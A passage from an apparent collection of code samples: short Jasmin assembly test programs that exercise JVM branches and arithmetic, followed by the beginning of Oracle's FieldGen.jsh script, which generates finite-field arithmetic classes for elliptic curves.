    "content": ".class public if3\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n\t.line 2\n\t\tldc\t\t0x1\n\t\tldc\t\t0x1\n\t\tif_icmpeq\t\tIf-811796083\n\t\tgoto\t\tIfElse-811796083\n\tIf-811796083:\n\t.line 3\n\t\t.line 3\n\t\t\tldc\t\t0x0\n\t\t\tldc\t\t0x1\n\t\t\tif_icmpeq\t\tIf-1001319390\n\t\t\tgoto\t\tIfElse-1001319390\n\t\tIf-1001319390:\n\t\t.line 4\n\t\t\t.line 4\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x1\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\t\tgoto\t\tIfDone-1001319390\n\t\tIfElse-1001319390:\n\t\t.line 6\n\t\t\t.line 6\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x2\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tIfDone-1001319390:\n\t\tgoto\t\tIfDone-811796083\n\tIfElse-811796083:\n\t.line 8\n\t\t.line 8\n\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x3\n\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\tIfDone-811796083:\n\nEndGlobal:\nreturn\n.end method\n\n"
  },
  {
    "path": "samples/Jasmin/if4.j",
    "content": ".class public if4\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n\t.line 2\n\t\tldc\t\t0x1\n\t\tldc\t\t0x1\n\t\tif_icmpne\t\tIfNot1919266740\n\t.line 2\n\t\t.line 2\n\t\t\tldc\t\t0x1\n\t\t\tldc\t\t0x1\n\t\t\tif_icmpne\t\tIfNot613368541\n\t\t.line 2\n\t\t\t.line 2\n\t\t\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\t\tldc\t\t0x1\n\t\t\t\tinvokevirtual\t\tjava/io/PrintStream/print(I)V\n\t\tIfNot613368541:\n\tIfNot1919266740:\n\nEndGlobal:\nreturn\n.end method\n\n"
  },
  {
    "path": "samples/Jasmin/op1.j",
    "content": ".class public op1\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n    .line 2\n        getstatic java/lang/System/out Ljava/io/PrintStream;\n        ldc 0x1\n        ldc 0x1\n        iadd\n        invokevirtual java/io/PrintStream/println(I)V\n\n    .line 3\n        getstatic java/lang/System/out Ljava/io/PrintStream;\n        ldc 0xa\n        ldc 0x5\n        isub\n        invokevirtual java/io/PrintStream/println(I)V\n\n    .line 4\n        getstatic java/lang/System/out Ljava/io/PrintStream;\n        ldc 0x15\n        ldc 0x3\n        idiv\n        invokevirtual java/io/PrintStream/println(I)V\n\n    .line 5\n        getstatic java/lang/System/out Ljava/io/PrintStream;\n        ldc 0x159\n        ldc 0x38\n        imul\n        invokevirtual java/io/PrintStream/println(I)V\n\n    .line 6\n        getstatic java/lang/System/out Ljava/io/PrintStream;\n        ldc 0x52\n        ldc 0x9\n        irem\n        invokevirtual java/io/PrintStream/println(I)V\n\nEndGlobal:\nreturn\n.end method"
  },
  {
    "path": "samples/Jasmin/op2.j",
    "content": ".class public op2\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n\t.line 2\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\tldc\t\t0x0\n\t\tiand\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\n\t.line 3\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\tldc\t\t0x0\n\t\tior\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\nEndGlobal:\nreturn\n.end method\n\n"
  },
  {
    "path": "samples/Jasmin/op3.j",
    "content": ".class public op3\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n\t.line 2\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x0\n\t\tldc\t\t0x1\n\t\tif_icmpeq\tCmp-1307183590\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone-1307183590\n\tCmp-1307183590:\n\t\tldc\t\t0x1\n\tCmpDone-1307183590:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\n\t.line 3\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x0\n\t\tldc\t\t0x0\n\t\tif_icmpeq\tCmp-1443270821\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone-1443270821\n\tCmp-1443270821:\n\t\tldc\t\t0x1\n\tCmpDone-1443270821:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\n\t.line 4\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\tldc\t\t0x1\n\t\tif_icmpeq\tCmp1759327329\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone1759327329\n\tCmp1759327329:\n\t\tldc\t\t0x1\n\tCmpDone1759327329:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\n\t.line 5\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\tldc\t\t0x0\n\t\tif_icmpeq\tCmp-678570146\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone-678570146\n\tCmp-678570146:\n\t\tldc\t\t0x1\n\tCmpDone-678570146:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\nEndGlobal:\nreturn\n.end method\n\n"
  },
  {
    "path": "samples/Jasmin/op4.j",
    "content": ".class public op4\n.super java/lang/Object\n;\n; standard initializer (calls java.lang.Object's initializer)\n;\n.method public <init>()V\naload_0\ninvokenonvirtual java/lang/Object/<init>()V\nreturn\n.end method\n\n.method public static main([Ljava/lang/String;)V\n\n.limit locals 1\n.limit stack 5\nBeginGlobal:\n\t.line 2\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x0\n\t\tldc\t\t0x1\n\t\tif_icmpne\tCmp-191731100\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone-191731100\n\tCmp-191731100:\n\t\tldc\t\t0x1\n\tCmpDone-191731100:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\n\t.line 3\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x0\n\t\tldc\t\t0x0\n\t\tif_icmpne\tCmp-901585603\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone-901585603\n\tCmp-901585603:\n\t\tldc\t\t0x1\n\tCmpDone-901585603:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\n\t.line 4\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\tldc\t\t0x1\n\t\tif_icmpne\tCmp1522577937\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone1522577937\n\tCmp1522577937:\n\t\tldc\t\t0x1\n\tCmpDone1522577937:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\n\t.line 5\n\t\tgetstatic\t\tjava/lang/System/out Ljava/io/PrintStream;\n\t\tldc\t\t0x1\n\t\tldc\t\t0x0\n\t\tif_icmpne\tCmp-1653028684\n\t\tldc\t\t0x0\n\t\tgoto\t\tCmpDone-1653028684\n\tCmp-1653028684:\n\t\tldc\t\t0x1\n\tCmpDone-1653028684:\n\t\tinvokevirtual\t\tjava/io/PrintStream/println(Z)V\n\nEndGlobal:\nreturn\n.end method\n\n"
  },
  {
    "path": "samples/Java/FieldGen.jsh",
    "content": "/*\n * Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n\n/*\n * This file is used to generated optimized finite field implementations.\n * Required settings are included in the file. To generate, use jshell:\n * jshell < FieldGen.jsh\n */\n\nimport java.io.*;\nimport java.math.BigInteger;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.*;\n\npublic class FieldGen {\n\n    static FieldParams Curve25519 = new FieldParams(\"IntegerPolynomial25519\", 26, 10, 1, 255,\n    Arrays.asList(\n    new Term(0, -19)\n    ),\n    Curve25519CrSequence(), simpleSmallCrSequence(10)\n    );\n\n    private static List<CarryReduce> Curve25519CrSequence() {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n\n        // reduce(7,2)\n        result.add(new Reduce(17));\n        result.add(new Reduce(18));\n\n        // carry(8,2)\n        result.add(new Carry(8));\n        result.add(new Carry(9));\n\n        // reduce(0,7)\n        for (int i = 10; i < 17; i++) {\n            result.add(new Reduce(i));\n        }\n\n        // carry(0,9)\n        result.addAll(fullCarry(10));\n\n        return result;\n    }\n\n    static FieldParams Curve448 = new FieldParams(\"IntegerPolynomial448\", 28, 16, 1, 448,\n    Arrays.asList(\n    new Term(224, -1),\n    new Term(0, -1)\n    ),\n    Curve448CrSequence(), simpleSmallCrSequence(16)\n    );\n\n    private static List<CarryReduce> Curve448CrSequence() {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n\n        // reduce(8, 7)\n        for (int i = 24; i < 31; i++) {\n            result.add(new Reduce(i));\n        }\n        // reduce(4, 4)\n        for (int i = 20; i < 24; i++) {\n            result.add(new Reduce(i));\n        }\n\n        //carry(14, 2)\n        result.add(new Carry(14));\n        result.add(new Carry(15));\n\n        // reduce(0, 4)\n        for (int i = 16; i < 20; i++) {\n            result.add(new Reduce(i));\n        }\n\n        // carry(0, 15)\n        result.addAll(fullCarry(16));\n\n        return result;\n    }\n\n    static FieldParams P256 = new FieldParams(\"IntegerPolynomialP256\", 26, 10, 2, 256,\n    Arrays.asList(\n    new Term(224, -1),\n    new Term(192, 1),\n    new Term(96, 1),\n    new Term(0, -1)\n    ),\n    P256CrSequence(), simpleSmallCrSequence(10)\n    );\n\n    private static List<CarryReduce> P256CrSequence() {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        result.addAll(fullReduce(10));\n        result.addAll(simpleSmallCrSequence(10));\n        return result;\n    }\n\n    static FieldParams P384 = new FieldParams(\"IntegerPolynomialP384\", 28, 14, 2, 384,\n    Arrays.asList(\n    new Term(128, -1),\n    new Term(96, -1),\n    new Term(32, 1),\n    new Term(0, -1)\n    ),\n    P384CrSequence(), simpleSmallCrSequence(14)\n    );\n\n    private static List<CarryReduce> P384CrSequence() {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        result.addAll(fullReduce(14));\n        result.addAll(simpleSmallCrSequence(14));\n        return result;\n    }\n\n    static FieldParams P521 = new FieldParams(\"IntegerPolynomialP521\", 28, 19, 2, 521,\n    Arrays.asList(new Term(0, -1)), P521CrSequence(), simpleSmallCrSequence(19)\n    );\n\n    private static List<CarryReduce> P521CrSequence() {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        result.addAll(fullReduce(19));\n        result.addAll(simpleSmallCrSequence(19));\n        return result;\n    }\n\n    static FieldParams O256 = new FieldParams(\"P256OrderField\", 26, 10, 1, 256,\n    new BigInteger(\"26959946660873538059280334323273029441504803697035324946844617595567\"),\n    orderFieldCrSequence(10), orderFieldSmallCrSequence(10)\n    );\n\n    static FieldParams O384 = new FieldParams(\"P384OrderField\", 28, 14, 1, 384,\n    new BigInteger(\"1388124618062372383947042015309946732620727252194336364173\"),\n    orderFieldCrSequence(14), orderFieldSmallCrSequence(14)\n    );\n\n    static FieldParams O521 = new FieldParams(\"P521OrderField\", 28, 19, 1, 521,\n    new BigInteger(\"657877501894328237357444332315020117536923257219387276263472201219398408051703\"),\n    o521crSequence(19), orderFieldSmallCrSequence(19)\n    );\n\n    private static List<CarryReduce> o521crSequence(int numLimbs) {\n\n        // split the full reduce in half, with a carry in between\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        result.addAll(fullCarry(2 * numLimbs));\n        for (int i = 2 * numLimbs - 1; i >= numLimbs + numLimbs/2; i--) {\n            result.add(new Reduce(i));\n        }\n        // carry\n        for (int i = numLimbs; i < numLimbs + numLimbs / 2 - 1; i++) {\n            result.add(new Carry(i));\n        }\n        // rest of reduce\n        for (int i = numLimbs + numLimbs/2 - 1; i >= numLimbs; i--) {\n            result.add(new Reduce(i));\n        }\n        result.addAll(orderFieldSmallCrSequence(numLimbs));\n\n        return result;\n    }\n\n    private static List<CarryReduce> orderFieldCrSequence(int numLimbs) {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        result.addAll(fullCarry(2 * numLimbs));\n        result.add(new Reduce(2 * numLimbs - 1));\n        result.addAll(fullReduce(numLimbs));\n        result.addAll(fullCarry(numLimbs + 1));\n        result.add(new Reduce(numLimbs));\n        result.addAll(fullCarry(numLimbs));\n\n        return result;\n    }\n   private static List<CarryReduce> orderFieldSmallCrSequence(int numLimbs) {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        result.addAll(fullCarry(numLimbs + 1));\n        result.add(new Reduce(numLimbs));\n        result.addAll(fullCarry(numLimbs));\n        return result;\n    }\n\n    static final FieldParams[] ALL_FIELDS = {P256, P384, P521, O256, O384, O521};\n\n    public static class Term {\n        private final int power;\n        private final int coefficient;\n\n        public Term(int power, int coefficient) {\n            this.power = power;\n            this.coefficient = coefficient;\n        }\n\n        public int getPower() {\n            return power;\n        }\n\n        public int getCoefficient() {\n            return coefficient;\n        }\n\n        public BigInteger getValue() {\n            return BigInteger.valueOf(2).pow(power).multiply(BigInteger.valueOf(coefficient));\n        }\n\n    }\n\n    static abstract class CarryReduce {\n        private final int index;\n\n        protected CarryReduce(int index) {\n            this.index = index;\n        }\n\n        public int getIndex() {\n            return index;\n        }\n\n        public abstract void write(CodeBuffer out, FieldParams params, String prefix, Iterable<CarryReduce> remaining);\n    }\n\n    static class Carry extends CarryReduce {\n        public Carry(int index) {\n            super(index);\n        }\n\n        public void write(CodeBuffer out, FieldParams params, String prefix, Iterable<CarryReduce> remaining) {\n            carry(out, params, prefix, getIndex());\n        }\n    }\n\n    static class Reduce extends CarryReduce {\n        public Reduce(int index) {\n            super(index);\n        }\n\n        public void write(CodeBuffer out, FieldParams params, String prefix, Iterable<CarryReduce> remaining) {\n            reduce(out, params, prefix, getIndex(), remaining);\n        }\n    }\n\n    static class FieldParams {\n        private final String className;\n        private final int bitsPerLimb;\n        private final int numLimbs;\n        private final int maxAdds;\n        private final int power;\n        private final Iterable<Term> terms;\n        private final List<CarryReduce> crSequence;\n        private final List<CarryReduce> smallCrSequence;\n\n        public FieldParams(String className, int bitsPerLimb, int numLimbs, int maxAdds, int power,\n                           Iterable<Term> terms, List<CarryReduce> crSequence, List<CarryReduce> smallCrSequence) {\n            this.className = className;\n            this.bitsPerLimb = bitsPerLimb;\n            this.numLimbs = numLimbs;\n            this.maxAdds = maxAdds;\n            this.power = power;\n            this.terms = terms;\n            this.crSequence = crSequence;\n            this.smallCrSequence = smallCrSequence;\n        }\n\n        public FieldParams(String className, int bitsPerLimb, int numLimbs, int maxAdds, int power,\n                           BigInteger term, List<CarryReduce> crSequence, List<CarryReduce> smallCrSequence) {\n            this.className = className;\n            this.bitsPerLimb = bitsPerLimb;\n            this.numLimbs = numLimbs;\n            this.maxAdds = maxAdds;\n            this.power = power;\n            this.crSequence = crSequence;\n            this.smallCrSequence = smallCrSequence;\n\n            terms = buildTerms(term);\n        }\n\n        private Iterable<Term> buildTerms(BigInteger sub) {\n            // split a large subtrahend into smaller terms that are aligned with limbs\n            List<Term> result = new ArrayList<Term>();\n            BigInteger mod = BigInteger.valueOf(1 << bitsPerLimb);\n            int termIndex = 0;\n            while (!sub.equals(BigInteger.ZERO)) {\n                int coef = sub.mod(mod).intValue();\n                boolean plusOne = false;\n                if (coef > (1 << (bitsPerLimb - 1))) {\n                    coef = coef - (1 << bitsPerLimb);\n                    plusOne = true;\n                }\n                if (coef != 0) {\n                    int pow = termIndex * bitsPerLimb;\n                    result.add(new Term(pow, -coef));\n                }\n                sub = sub.shiftRight(bitsPerLimb);\n                if (plusOne) {\n                   sub = sub.add(BigInteger.ONE);\n                }\n                ++termIndex;\n            }\n            return result;\n        }\n\n        public String getClassName() {\n            return className;\n        }\n\n        public int getBitsPerLimb() {\n            return bitsPerLimb;\n        }\n\n        public int getNumLimbs() {\n            return numLimbs;\n        }\n\n        public int getMaxAdds() {\n            return maxAdds;\n        }\n\n        public int getPower() {\n            return power;\n        }\n\n        public Iterable<Term> getTerms() {\n            return terms;\n        }\n\n        public List<CarryReduce> getCrSequence() {\n            return crSequence;\n        }\n\n        public List<CarryReduce> getSmallCrSequence() {\n            return smallCrSequence;\n        }\n    }\n\n    static Collection<Carry> fullCarry(int numLimbs) {\n        List<Carry> result = new ArrayList<Carry>();\n        for (int i = 0; i < numLimbs - 1; i++) {\n            result.add(new Carry(i));\n        }\n        return result;\n    }\n\n    static Collection<Reduce> fullReduce(int numLimbs) {\n        List<Reduce> result = new ArrayList<Reduce>();\n        for (int i = numLimbs - 2; i >= 0; i--) {\n            result.add(new Reduce(i + numLimbs));\n        }\n        return result;\n    }\n\n    static List<CarryReduce> simpleCrSequence(int numLimbs) {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        for(int i = 0; i < 4; i++) {\n            result.addAll(fullCarry(2 * numLimbs - 1));\n            result.addAll(fullReduce(numLimbs));\n        }\n\n        return result;\n    }\n\n    static List<CarryReduce> simpleSmallCrSequence(int numLimbs) {\n        List<CarryReduce> result = new ArrayList<CarryReduce>();\n        // carry a few positions at the end\n        for (int i = numLimbs - 2; i < numLimbs; i++) {\n            result.add(new Carry(i));\n        }\n        // this carries out a single value that must be reduced back in\n        result.add(new Reduce(numLimbs));\n        // finish with a full carry\n        result.addAll(fullCarry(numLimbs));\n        return result;\n    }\n\n    private final String packageName;\n    private final String parentName;\n\n    public FieldGen(String packageName, String parentName) {\n        this.packageName = packageName;\n        this.parentName = parentName;\n    }\n\n    public static void main(String[] args) throws Exception {\n\n        FieldGen gen = new FieldGen(\"sun.security.util.math.intpoly\", \"IntegerPolynomial\");\n        for(FieldParams p : ALL_FIELDS) {\n            gen.generateFile(p);\n        }\n    }\n\n    private void generateFile(FieldParams params) throws IOException {\n        String text = generate(params);\n        String fileName = params.getClassName() + \".java\";\n        PrintWriter out = new PrintWriter(new FileWriter(fileName));\n        out.println(text);\n        out.close();\n    }\n\n    static class CodeBuffer {\n\n        private int nextTemporary = 0;\n        private Set<String> temporaries = new HashSet<String>();\n        private StringBuffer buffer = new StringBuffer();\n        private int indent = 0;\n        private Class lastCR;\n        private int lastCrCount = 0;\n        private int crMethodBreakCount = 0;\n        private int crNumLimbs = 0;\n\n        public void incrIndent() {\n            indent++;\n        }\n\n        public void decrIndent() {\n            indent--;\n        }\n\n        public void newTempScope() {\n            nextTemporary = 0;\n            temporaries.clear();\n        }\n\n        public void appendLine(String s) {\n            appendIndent();\n            buffer.append(s + \"\\n\");\n        }\n\n        public void appendLine() {\n            buffer.append(\"\\n\");\n        }\n\n        public String toString() {\n            return buffer.toString();\n        }\n\n        public void startCrSequence(int numLimbs) {\n            this.crNumLimbs = numLimbs;\n            lastCrCount = 0;\n            crMethodBreakCount = 0;\n            lastCR = null;\n        }\n        /*\n         * Record a carry/reduce of the specified type. This method is used to\n         * break up large carry/reduce sequences into multiple methods to make\n         * JIT/optimization easier\n         */\n        public void record(Class type) {\n            if (type == lastCR) {\n                lastCrCount++;\n            } else {\n\n                if (lastCrCount >= 8) {\n                    insertCrMethodBreak();\n                }\n\n                lastCR = type;\n                lastCrCount = 0;\n            }\n        }\n\n        private void insertCrMethodBreak() {\n\n            appendLine();\n\n            // call the new method\n            appendIndent();\n            append(\"carryReduce\" + crMethodBreakCount + \"(r\");\n            for(int i = 0; i < crNumLimbs; i++) {\n                append(\", c\" + i);\n            }\n            // temporaries are not live between operations, no need to send\n            append(\");\\n\");\n\n            decrIndent();\n            appendLine(\"}\");\n\n            // make the method\n            appendIndent();\n            append(\"void carryReduce\" + crMethodBreakCount + \"(long[] r\");\n            for(int i = 0; i < crNumLimbs; i++) {\n                append (\", long c\" + i);\n            }\n            append(\") {\\n\");\n            incrIndent();\n            // declare temporaries\n            for(String temp : temporaries) {\n                appendLine(\"long \" + temp + \";\");\n            }\n            append(\"\\n\");\n\n            crMethodBreakCount++;\n        }\n\n        public String getTemporary(String type, String value) {\n            Iterator<String> iter = temporaries.iterator();\n            if(iter.hasNext()) {\n                String result = iter.next();\n                iter.remove();\n                appendLine(result + \" = \" + value + \";\");\n                return result;\n            } else {\n                String result = \"t\" + (nextTemporary++);\n                appendLine(type + \" \" + result + \" = \" + value + \";\");\n                return result;\n            }\n        }\n\n        public void freeTemporary(String temp) {\n            temporaries.add(temp);\n        }\n\n        public void appendIndent() {\n            for(int i = 0; i < indent; i++) {\n                buffer.append(\"    \");\n            }\n        }\n\n        public void append(String s) {\n            buffer.append(s);\n        }\n    }\n\n    private String generate(FieldParams params) throws IOException {\n        CodeBuffer result = new CodeBuffer();\n        String header = readHeader();\n        result.appendLine(header);\n\n        if (packageName != null) {\n            result.appendLine(\"package \" + packageName + \";\");\n            result.appendLine();\n        }\n        result.appendLine(\"import java.math.BigInteger;\");\n\n        result.appendLine(\"public class \" + params.getClassName() + \" extends \" + this.parentName + \" {\");\n        result.incrIndent();\n\n        result.appendLine(\"private static final int BITS_PER_LIMB = \" + params.getBitsPerLimb() + \";\");\n        result.appendLine(\"private static final int NUM_LIMBS = \" + params.getNumLimbs() + \";\");\n        result.appendLine(\"private static final int MAX_ADDS = \" + params.getMaxAdds() + \";\");\n        result.appendLine(\"public static final BigInteger MODULUS = evaluateModulus();\");\n        result.appendLine(\"private static final long CARRY_ADD = 1 << \" + (params.getBitsPerLimb() - 1) + \";\");\n        if (params.getBitsPerLimb() * params.getNumLimbs() != params.getPower()) {\n            result.appendLine(\"private static final int LIMB_MASK = -1 >>> (64 - BITS_PER_LIMB);\");\n        }\n        int termIndex = 0;\n\n        result.appendLine(\"public \" + params.getClassName() + \"() {\");\n        result.appendLine();\n        result.appendLine(\"    super(BITS_PER_LIMB, NUM_LIMBS, MAX_ADDS, MODULUS);\");\n        result.appendLine();\n        result.appendLine(\"}\");\n\n        result.appendLine(\"private static BigInteger evaluateModulus() {\");\n        result.incrIndent();\n        result.appendLine(\"BigInteger result = BigInteger.valueOf(2).pow(\" + params.getPower() + \");\");\n        for(Term t : params.getTerms()) {\n            boolean subtract = false;\n            int coefValue = t.getCoefficient();\n            if (coefValue < 0) {\n                coefValue = 0 - coefValue;\n                subtract = true;\n            }\n            String coefExpr = \"BigInteger.valueOf(\" + coefValue + \")\";\n            String powExpr = \"BigInteger.valueOf(2).pow(\" + t.getPower() + \")\";\n            String termExpr = \"ERROR\";\n            if (t.getPower() == 0) {\n                termExpr = coefExpr;\n            } else if (coefValue == 1) {\n                termExpr = powExpr;\n            } else {\n                termExpr = powExpr + \".multiply(\" + coefExpr + \")\";\n            }\n            if (subtract) {\n                result.appendLine(\"result = result.subtract(\" + termExpr + \");\");\n            } else {\n                result.appendLine(\"result = result.add(\" + termExpr + \");\");\n            }\n        }\n        result.appendLine(\"return result;\");\n        result.decrIndent();\n        result.appendLine(\"}\");\n\n        result.appendLine(\"@Override\");\n        result.appendLine(\"protected void finalCarryReduceLast(long[] limbs) {\");\n        result.incrIndent();\n        int extraBits = params.getBitsPerLimb() * params.getNumLimbs() - params.getPower();\n        int highBits = params.getBitsPerLimb() - extraBits;\n        result.appendLine(\"long c = limbs[\" + (params.getNumLimbs() - 1) + \"] >> \" + highBits + \";\");\n        result.appendLine(\"limbs[\" + (params.getNumLimbs() - 1) + \"] -= c << \" + highBits + \";\");\n        for (Term t : params.getTerms()) {\n            int reduceBits = params.getPower() + extraBits - t.getPower();\n            int negatedCoefficient = -1 * t.getCoefficient();\n            modReduceInBits(result, params, true, \"limbs\", params.getNumLimbs(), reduceBits, negatedCoefficient, \"c\");\n        }\n        result.decrIndent();\n        result.appendLine(\"}\");\n\n        // full carry/reduce sequence\n        result.appendIndent();\n        result.append(\"private void carryReduce(long[] r, \");\n        for(int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {\n            result.append (\"long c\" + i);\n            if (i < 2 * params.getNumLimbs() - 2) {\n                result.append(\", \");\n            }\n        }\n        result.append(\") {\\n\");\n        result.newTempScope();\n        result.incrIndent();\n        result.appendLine(\"long c\" + (2 * params.getNumLimbs() - 1) + \" = 0;\");\n        write(result, params.getCrSequence(), params, \"c\", 2 * params.getNumLimbs());\n        result.appendLine();\n        for (int i = 0; i < params.getNumLimbs(); i++) {\n            result.appendLine(\"r[\" + i + \"] = c\" + i + \";\");\n        }\n        result.decrIndent();\n        result.appendLine(\"}\");\n\n        // small carry/reduce sequence\n        result.appendIndent();\n        result.append(\"private void carryReduce(long[] r, \");\n        for(int i = 0; i < params.getNumLimbs(); i++) {\n            result.append (\"long c\" + i);\n            if (i < params.getNumLimbs() - 1) {\n                result.append(\", \");\n            }\n        }\n        result.append(\") {\\n\");\n        result.newTempScope();\n        result.incrIndent();\n        result.appendLine(\"long c\" + params.getNumLimbs() + \" = 0;\");\n        write(result, params.getSmallCrSequence(), params, \"c\", params.getNumLimbs() + 1);\n        result.appendLine();\n        for (int i = 0; i < params.getNumLimbs(); i++) {\n            result.appendLine(\"r[\" + i + \"] = c\" + i + \";\");\n        }\n        result.decrIndent();\n        result.appendLine(\"}\");\n\n        result.appendLine(\"@Override\");\n        result.appendLine(\"protected void mult(long[] a, long[] b, long[] r) {\");\n        result.incrIndent();\n        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {\n            result.appendIndent();\n            result.append(\"long c\" + i + \" = \");\n            int startJ = Math.max(i + 1 - params.getNumLimbs(), 0);\n            int endJ = Math.min(params.getNumLimbs(), i + 1);\n            for (int j = startJ; j < endJ; j++) {\n                int bIndex = i - j;\n                result.append(\"(a[\" + j + \"] * b[\" + bIndex + \"])\");\n                if (j < endJ - 1) {\n                    result.append(\" + \");\n                }\n            }\n            result.append(\";\\n\");\n        }\n        result.appendLine();\n        result.appendIndent();\n        result.append(\"carryReduce(r, \");\n        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {\n            result.append(\"c\" + i);\n            if (i < 2 * params.getNumLimbs() - 2) {\n                result.append(\", \");\n            }\n        }\n        result.append(\");\\n\");\n        result.decrIndent();\n        result.appendLine(\"}\");\n\n        result.appendLine(\"@Override\");\n        result.appendLine(\"protected void reduce(long[] a) {\");\n        result.incrIndent();\n        result.appendIndent();\n        result.append(\"carryReduce(a, \");\n        for (int i = 0; i < params.getNumLimbs(); i++) {\n            result.append(\"a[\" + i + \"]\");\n            if (i < params.getNumLimbs() - 1) {\n                result.append(\", \");\n            }\n        }\n        result.append(\");\\n\");\n        result.decrIndent();\n        result.appendLine(\"}\");\n\n        result.appendLine(\"@Override\");\n        result.appendLine(\"protected void square(long[] a, long[] r) {\");\n        result.incrIndent();\n        for (int i = 0; i < 2 * params.getNumLimbs() - 1; i++) {\n            result.appendIndent();\n            result.append(\"long c\" + i + \" = \");\n            int startJ = Math.max(i + 1 - params.getNumLimbs(), 0);\n            int endJ = Math.min(params.getNumLimbs(), i + 1);\n            int jDiff = endJ - startJ;\n            if (jDiff > 1) {\n                result.append(\"2 * (\");\n            }\n            for (int j = 0; j < jDiff / 2; j++) {\n                int aIndex = j + startJ;\n                int bIndex = i - aIndex;\n                result.append(\"(a[\" + aIndex + \"] * a[\" + bIndex + \"])\");\n                if (j < (jDiff / 2) - 1) {\n                    result.append(\" + \");\n                }\n            }\n            if (jDiff > 1) {\n                result.append(\")\");\n            }\n            if (jDiff % 2 == 1) {\n                int aIndex = i / 2;\n                if 